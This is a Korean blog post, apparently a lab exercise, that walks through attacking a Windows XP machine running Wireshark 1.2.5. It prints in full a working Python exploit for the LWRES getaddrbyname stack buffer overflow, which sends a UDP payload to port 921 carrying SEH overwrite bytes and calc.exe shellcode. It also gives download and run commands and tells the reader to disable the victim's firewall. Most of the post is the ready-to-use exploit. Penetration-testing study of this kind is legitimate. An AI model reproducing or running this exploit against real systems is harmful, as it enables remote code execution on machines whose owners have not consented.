Linux/모의해킹

계산기 쉘 코드 생성 후 Windows XP 공격

GGkeeper 2022. 1. 4. 17:18

실습> 아래 조건에 맞게 세팅하기

참고 사이트 : https://www.exploit-db.com/

-- 조건 --
1. 와이어샤크 1.2.5를 다운로드 받아서 윈도우 XP에 설치하기
-- 조건 --

1. 와이어샤크 1.2.5 다운로드
Victim에 Windows XP에 설치한다.

2. expolit 코드 작성
Attacker# apt -y install wget
Attacker# mkdir exploit-db; cd exploit-db
Attacker exploit-db# wget https://www.exploit-db.com/download/11453

 

python2 버전 종료되었으므로 2021년 네번 째 판에서는 공격코드들이 python2 -> python3 으로 변경되었다..
Attacker# vi 11453.py

#!/usr/bin/env python2  <-- python2으로 수정
# Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow
# Discovered by babi
# Reference: http://www.exploit-db.com/exploits/11288
# Exploit Dev by Nullthreat & Pure|Hate

import socket, sys

try:
  host = sys.argv[1]
except:
  print "usage: " + sys.argv[0] + " <host>"
  exit(2)

port = 921
addr = (host, port)

leng = 9150
high = int(leng / 256)
low = leng & 255

crash = ("A" * 2128)

# Short jump
jmp = "\x90\x90\x06\xeb"

# pop/pop/ret in pcre3 0x61b4121b
ppr = "\x1b\x12\xb4\x61"

nop  = ("\x90" * 24)

# 224 bytes = calc.exe
shellcode = (
"\xbf\x86\x0a\x33\xa0\x2b\xc9\xda\xd9\xd9\x74\x24\xf4\xb1"
"\x32\x5e\x31\x7e\x11\x03\x7e\x11\x83\xc6\x82\xe8\xc6\x5c"
"\x62\x65\x28\x9d\x72\x16\xa0\x78\x43\x04\xd6\x09\xf1\x98"
"\x9c\x5c\xf9\x53\xf0\x74\x8a\x16\xdd\x7b\x3b\x9c\x3b\xb5"
"\xbc\x10\x84\x19\x7e\x32\x78\x60\x52\x94\x41\xab\xa7\xd5"
"\x86\xd6\x47\x87\x5f\x9c\xf5\x38\xeb\xe0\xc5\x39\x3b\x6f"
"\x75\x42\x3e\xb0\x01\xf8\x41\xe1\xb9\x77\x09\x19\xb2\xd0"
"\xaa\x18\x17\x03\x96\x53\x1c\xf0\x6c\x62\xf4\xc8\x8d\x54"
"\x38\x86\xb3\x58\xb5\xd6\xf4\x5f\x25\xad\x0e\x9c\xd8\xb6"
"\xd4\xde\x06\x32\xc9\x79\xcd\xe4\x29\x7b\x02\x72\xb9\x77"
"\xef\xf0\xe5\x9b\xee\xd5\x9d\xa0\x7b\xd8\x71\x21\x3f\xff"
"\x55\x69\xe4\x9e\xcc\xd7\x4b\x9e\x0f\xbf\x34\x3a\x5b\x52"
"\x21\x3c\x06\x39\xb4\xcc\x3c\x04\xb6\xce\x3e\x27\xde\xff"
"\xb5\xa8\x99\xff\x1f\x8d\x55\x4a\x3d\xa4\xfd\x13\xd7\xf4"
"\x60\xa4\x0d\x3a\x9c\x27\xa4\xc3\x5b\x37\xcd\xc6\x20\xff"
"\x3d\xbb\x39\x6a\x42\x68\x3a\xbf\x21\xef\xa8\x23\xa6\xe5"
)

crash2 = ("\xcc" * 6752)

data  = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
data += "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
data += "\x00\x00\x00\x01"
data += chr(high) + chr(low) + crash + jmp + ppr + nop  + shellcode + crash2 + "\x00\x00"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print "can't lookup host"
  exit(1)

udps.close()
exit(0)


파일포맷이 dos로 되어 있으면 unix로 변경한다.
:set ff=unix
:set fileformat=unix
:wq

Attacker# chmod 755 11453.py
Attacker# ln -s 11453.py wireshark1.2.5.py
Attacker# ls -l
total 4
-rwxr-xr-x 1 root root 1974 Aug  9 03:25 11453.py
lrwxrwxrwx 1 root root    8 Aug  9 03:27 wireshark1.2.5.py -> 11453.py

3. wireshark 덤프
Victim Windows XP에 설치된 와이어샤크 버전을 덤프 받는다.
Victim Windows XP에 방화벽을 해제한다.

4. 공격
공격자가 exploit 코드를 사용해서 Victim에 공격을 시도한다.
공격에 성공되면 쉘코드가 실행된다.
쉘코드는 계산기이므로 계산기가 윈도우에서 실행된다.
Attacker# ./11453.py 192.168.108.105